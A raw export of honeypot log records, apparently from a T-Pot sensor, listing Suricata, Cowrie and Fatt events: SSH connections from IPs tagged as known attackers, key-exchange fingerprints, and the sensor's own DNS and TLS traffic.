30868	87.112.251.105	109.199.241.180	Suricata	2021-09-20 14:39:15.653747+03	2021-09-20 14:45:03.732141+03	{"_id": "wgYAA3wBvYTbRNuEyj_e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "flow_id": 1730472168339440, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 60548, "dest_port": 22, "timestamp": "2021-09-20T11:39:15.653747Z", "@timestamp": "2021-09-20T11:39:15.653Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30869	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:39:15.654033+03	2021-09-20 14:45:03.734144+03	{"_id": "wwYAA3wBvYTbRNuEzT8o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0da8ac4e2fce", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:39:15.654033Z", "@timestamp": "2021-09-20T11:39:15.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30907	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:40:00.173772+03	2021-09-20 14:45:03.786144+03	{"_id": "HAYBA3wBvYTbRNuEekC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42034, "type": "query", "tx_id": 0, "rrname": "_http._tcp.security.debian.org", "rrtype": "SRV"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1127669216356044, "@version": "1", "in_iface": "enp5s0", "src_port": 48117, "dest_port": 53, "timestamp": "2021-09-20T11:40:00.173772Z", "@timestamp": "2021-09-20T11:40:00.173Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30870	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:39:19.287067+03	2021-09-20 14:45:03.735142+03	{"_id": "xgYAA3wBvYTbRNuE2D_g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0da8ac4e2fce", "@version": "1", "timestamp": "2021-09-20T11:39:19.287067Z", "@timestamp": "2021-09-20T11:39:19.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30871	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:39:19.935232+03	2021-09-20 14:45:03.737141+03	{"_id": "yAYAA3wBvYTbRNuE2j9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7673, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1296796435825984, "@version": "1", "in_iface": "enp5s0", "src_port": 43184, "dest_port": 53, "timestamp": "2021-09-20T11:39:19.935232Z", "@timestamp": "2021-09-20T11:39:19.935Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30872	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:39:19.936482+03	2021-09-20 14:45:03.738142+03	{"_id": "xwYAA3wBvYTbRNuE2j9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7673, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 287, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1296796435825984, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43184, "timestamp": "2021-09-20T11:39:19.936482Z", "@timestamp": "2021-09-20T11:39:19.936Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30873	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:19.987396+03	2021-09-20 14:45:03.740142+03	{"_id": "yQYAA3wBvYTbRNuE2z-Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35488, "dest_port": 443, "timestamp": "2021-09-20T11:39:19.987396", "@timestamp": "2021-09-20T11:39:19.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30874	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:39:28.856319+03	2021-09-20 14:45:03.741141+03	{"_id": "4QYAA3wBvYTbRNuE_T-r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 828178997197000, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51640, "dest_port": 22, "timestamp": "2021-09-20T11:39:28.856319Z", "@timestamp": "2021-09-20T11:39:28.856Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30925	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:40:05.936025+03	2021-09-20 14:45:03.809142+03	{"_id": "OAYBA3wBvYTbRNuEjkBB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:40:05.936025Z", "@timestamp": "2021-09-20T11:40:05.936Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30875	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:29.130418+03	2021-09-20 14:45:03.742142+03	{"_id": "4gYAA3wBvYTbRNuE_j--", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2131, "timestamp": "2021-09-20T11:39:29.130418", "@timestamp": "2021-09-20T11:39:29.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30876	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:39:28.859917+03	2021-09-20 14:45:03.744142+03	{"_id": "5AYAA3wBvYTbRNuE_j-_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51640, "dest_port": 22, "timestamp": "2021-09-20T11:39:28.859917", "@timestamp": "2021-09-20T11:39:28.859Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30877	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:39:28.599746+03	2021-09-20 14:45:03.745142+03	{"_id": "7AYAA3wBvYTbRNuE_z_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:51640 (192.168.176.2:22) [session: d2c9760089c8]", "session": "d2c9760089c8", "@version": "1", "protocol": "ssh", "src_port": 51640, "dest_port": 22, "timestamp": "2021-09-20T11:39:28.599746Z", "@timestamp": "2021-09-20T11:39:28.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30878	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:39:29.126112+03	2021-09-20 14:45:03.746142+03	{"_id": "7gYAA3wBvYTbRNuE_z_2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2131 (192.168.176.2:22) [session: d1aade0b5e33]", "session": "d1aade0b5e33", "@version": "1", "protocol": "ssh", "src_port": 2131, "dest_port": 22, "timestamp": "2021-09-20T11:39:29.126112Z", "@timestamp": "2021-09-20T11:39:29.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30879	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:39:20.288948+03	2021-09-20 14:45:03.747142+03	{"_id": "1gYAA3wBvYTbRNuE3j9o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9102, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 299696155814068, "@version": "1", "in_iface": "enp5s0", "src_port": 58374, "dest_port": 53, "timestamp": "2021-09-20T11:39:20.288948Z", "@timestamp": "2021-09-20T11:39:20.288Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30886	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:39:31.847421+03	2021-09-20 14:45:03.756142+03	{"_id": "9gYBA3wBvYTbRNuECz-w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d2c9760089c8", "@version": "1", "duration": 3.2450125217437744, "timestamp": "2021-09-20T11:39:31.847421Z", "@timestamp": "2021-09-20T11:39:31.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30880	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:39:20.339861+03	2021-09-20 14:45:03.749143+03	{"_id": "2AYAA3wBvYTbRNuE3z96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35490, "dest_port": 443, "timestamp": "2021-09-20T11:39:20.339861", "@timestamp": "2021-09-20T11:39:20.339Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30881	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:39:20.38048+03	2021-09-20 14:45:03.750142+03	{"_id": "2QYAA3wBvYTbRNuE3z96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35490, "timestamp": "2021-09-20T11:39:20.380480", "@timestamp": "2021-09-20T11:39:20.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30882	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:39:20.290143+03	2021-09-20 14:45:03.751142+03	{"_id": "1QYAA3wBvYTbRNuE3j9o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9102, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 286, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 299696155814068, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58374, "timestamp": "2021-09-20T11:39:20.290143Z", "@timestamp": "2021-09-20T11:39:20.290Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30883	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:39:20.030868+03	2021-09-20 14:45:03.753142+03	{"_id": "1wYAA3wBvYTbRNuE3z96", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35488, "timestamp": "2021-09-20T11:39:20.030868", "@timestamp": "2021-09-20T11:39:20.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
